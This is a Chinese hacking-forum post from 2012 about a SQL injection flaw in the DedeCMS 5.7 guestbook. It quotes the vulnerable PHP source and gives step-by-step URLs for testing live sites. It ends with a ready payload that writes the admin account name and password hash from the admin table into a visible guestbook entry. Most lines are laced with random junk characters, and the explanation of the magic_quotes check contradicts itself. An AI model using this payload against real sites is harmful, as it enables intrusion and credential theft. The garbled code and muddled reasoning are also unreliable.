找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3579|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
. L0 l! e; E: {
: u3 o; M0 A5 Q4 ?" _漏洞文件edit.inc.php具体代码:
: q/ v; z7 \, S
0 h- M7 s, ]: U$ w4 P1 q< ?php  1 \2 z3 d; `, W+ t' }: T, ~# S
# c4 F; V- [( ^; q5 Y% }
if(!defined('DEDEINC')) exit('Request Error!');  
+ B6 z/ `, c; L& H# p6 j0 U/ m6 `. O
   
* g& e/ w" @& |5 s
! m) i4 S2 S3 b. a) M# |# j" f3 \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
) U! o$ I4 B" w5 _, d; ~' V) h! ~$ I6 i* ?  T
else $GUEST_BOOK_POS = "guestbook.php";  & @  |7 R' g$ u) j

0 a7 @* v: J4 W   6 j5 L1 f& e; a, H% Y

* m: T7 d% Z& k5 X0 g% j3 ~$id = intval($id);  * W% a& H8 T$ T5 r

% o8 j/ H2 D" m- a3 H' R' ]' g# K/ {& T" dif(empty($job)) $job='view';  2 K4 r/ U8 Z6 Y

0 M' V, t, i# P1 X   
7 B9 E9 n, {) v- ~: q
! i5 ]7 Y* n$ S) `2 T% O+ L+ c$ ^1 R5 _if($job=='del' && $g_isadmin)  
( n2 U& f8 U( K! W% j0 b/ E- D, _9 E# J' o
{  
& L2 S9 q* S! H( N
) G, y& T, }* F# @( E$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
' _2 @+ Y! K2 R8 d0 D* G, u5 D/ ]  p3 q5 q4 t0 O. O; D$ r. a& ^$ c' ^" x
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  5 ?3 X& Y! h$ F7 B9 a5 h  ]# p

5 T" K8 u+ _, q( nexit();  ' W9 T) d2 R  N7 p: w
0 @1 v& C/ V% l9 c
}  $ n3 W* t7 N5 ]  @: b5 @& O4 u5 z

# w. c) k/ R  n, n8 L2 Z- D0 {else if($job=='check' && $g_isadmin)  : a; i/ o% h; l+ Z3 Q+ j  m8 _
, f8 H1 q, h6 e$ E  T
{  3 K, U" m9 I' h, ?

% Y1 K' }9 m2 S$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; \9 O  Q' z* l1 s& g7 n$ U8 p* t, S( o+ k! d- p) Y$ Z/ r
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ) [" D  S+ c( B

- W4 f' n  T% h2 O% G$ d, Cexit();  
; i9 M, X5 \' h& n9 ?: w( ]3 |! v/ g0 B+ w! @- C
}  # A* S( |! i- n. [, c
5 x* Z% T& `: e: S, M
else if($job=='editok')  
- N- r" B# a0 {4 m! X+ h0 Z1 T, f
{  % S) g6 @1 Y& ?, X
% g2 c; I& @( |3 O$ s
$remsg = trim($remsg);  
, {, J) ~+ ?/ }7 P5 z6 b: v( E- M# y1 U. h
if($remsg!='')  
) a5 Q2 G3 ?+ U- a6 O. y( ]+ D8 l4 t: n, \8 {& i
{  0 p% _+ u9 c' V6 `& C% U
! M: ^) r1 z4 f4 T: J# v
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
4 g: u0 _/ S" f& v$ S6 W
  {! J  c# E0 ^" Z+ R) _if($g_isadmin)  " d, |7 _7 P) a
" h# Z8 D- D* S7 s9 ^+ y
{  % z2 s6 C; n0 Y! Q
  S8 N# m3 v% V; o) r; J
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
2 A% G; E( |3 N
, c! b9 Y: [; O9 N//$remsg <br /><font color=red>管理员回复:</font> }  3 H9 H' X7 v& g& c+ t
' @) t' Y. m: s' ]
else
. J; E3 q5 i# G6 v; D7 q, i8 q% |7 Z+ t# [( Y
{  
8 ]9 v2 |/ R- p& B* O5 i+ m9 Y% c$ Z6 D  i! G4 [7 I7 k
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  / |+ b3 J0 I3 ]8 N* Q" w! L4 O1 g% y

* H! p, ^, m5 h6 F/ c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
5 ]9 K! H* A* \8 G5 Y2 i; F" x3 P: G: h/ {# a% `0 d
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
$ f. W. L- q5 T+ x0 ]' m* J  j! r# T7 ]0 t8 X; w/ ]
$msg = $oldmsg.$remsg;  
( g) i( k) R" U3 H
$ I6 g/ b" E5 X0 W! @; h}  7 O5 E2 A: d( |, g- @% L
& {) I% e" y5 Y/ p$ w
}  3 H0 v0 l* b3 w. p
7 J: Q9 G: h6 m  \
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 P7 Q. l/ b) g2 d/ N
& i3 ^1 a) G# g8 n$ _3 Q5 r$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  + r/ X3 b2 E& Y' j

8 z) L- n& b& G  X5 p! TShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
# z/ ^0 I6 [& Q0 b/ j6 v% |1 @% p5 x
3 x5 n8 G5 m9 _exit();  
9 Q/ W2 ~% F0 a: P* I/ y! J) v: L+ L2 R9 u' z1 F& Y
}  9 B0 ?  X5 u; c$ M! }3 b* y9 \
- y4 i' Q; w3 Q
//home:www.errs.cc  * \& {; n0 h2 c8 ~# D2 R
, f; w9 f$ ]' Z( {/ H6 v6 v) M
if($g_isadmin)  3 e' k2 n% v, S" f0 j6 @- I. o
: n3 m4 J+ r  [
{  + {# o% B" E& l: \# H
* j1 E- @: S8 B
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ' x+ `8 z5 l- b  L3 z& N" @
& L1 z: z& u9 [9 N- Z7 J% T
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  + b0 N6 S' l& a) V
0 F/ ]$ U6 z, C' }
}    {2 q% O* j6 y1 H
$ [3 z! g$ {# I' p. @
else
0 Z1 [4 L/ m0 U% J$ \7 |
. m( w2 N% F% ]: m5 q( O% }{  
- [0 p. I; h1 J
% v/ v2 A) A% ]* X, S. X% v$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  % d: H0 ^# R! Y
) L( @2 d; F$ r7 Z/ _" O  R: U
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
& ~# V! V7 Q; J' h6 C5 }7 y( m! G/ X: X0 a3 O* f' P
} 漏洞成功需要条件:2 `. C% o7 b2 |7 z5 W* q* m
1. php magic_quotes_gpc=off- s# K# ~; E7 K7 P: g2 O& u9 }
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。7 g. c& C" d2 j( z7 b. x' R
% V- `1 [- P! p) }; ^& G
怎么判断是否存在漏洞:
# F7 t( r4 \  y3 }( w先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
; S+ a4 i- e$ V然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 T; i4 D  s) f4 W7 K9 E: |访问:9 a- P; t# p5 n& ]

* G) q  V0 x+ r2 ?# J8 xwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
% ~) `9 I2 U6 ~) x% y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 A- D* X8 G0 y( E/ c: I) R
$ q6 Y" t  Q$ j
$ D. o+ y/ P) k6 j$ r& o1 c( A
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off  V- a6 v; ~1 ^% i9 E& ?( a
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 R* \! ~+ t8 q3 b8 R( T* \
那么再次访问
5 G1 f3 v% ?! L$ b0 {" X, [* l& H! I
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
/ u- U' t, `: o$ u* E# u1 j' X5 E" E$ u
大概利用就是这样,大家有兴趣的多研究下!!
' Y9 ]/ [9 F  V, D% u
7 v+ H" |) y1 M) c最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ \5 B* R* I- V/ B

2 D$ V8 {# I( Y9 E- |6 a  Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表